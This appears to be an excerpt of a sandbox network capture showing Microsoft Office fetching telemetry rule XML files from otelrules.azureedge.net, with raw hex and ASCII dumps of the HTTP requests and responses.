2024-12-07 07:43:25 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-07 07:43:25 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-07 07:43:25 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-07 07:43:25 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-07 07:43:25 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-07 07:43:25 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-07 07:43:25 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-07 07:43:25 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-07 07:43:25 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-07 07:43:25 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:27 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:27 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074327Z-r1cf579d778bb9vvhC1EWRs95400000001eg0000000005pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:27 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:27 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:27 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074327Z-r1cf579d77898tqwhC1EWRf9q800000001xg00000000014v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:27 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:27 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:27 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074327Z-r1cf579d7782ctslhC1EWRfbrw000000023g000000004ffg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:27 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:27 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074327Z-r1cf579d77898tqwhC1EWRf9q800000001rg000000003q3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 07:43:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:27 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:27 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: a36b2733-e01e-0051-6f03-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074327Z-r1cf579d778xq4f9hC1EWRx41g00000001gg000000003t8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:27 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:29 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074329Z-r1cf579d778xq4f9hC1EWRx41g00000001hg000000002sbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49745	13.107.246.63	443

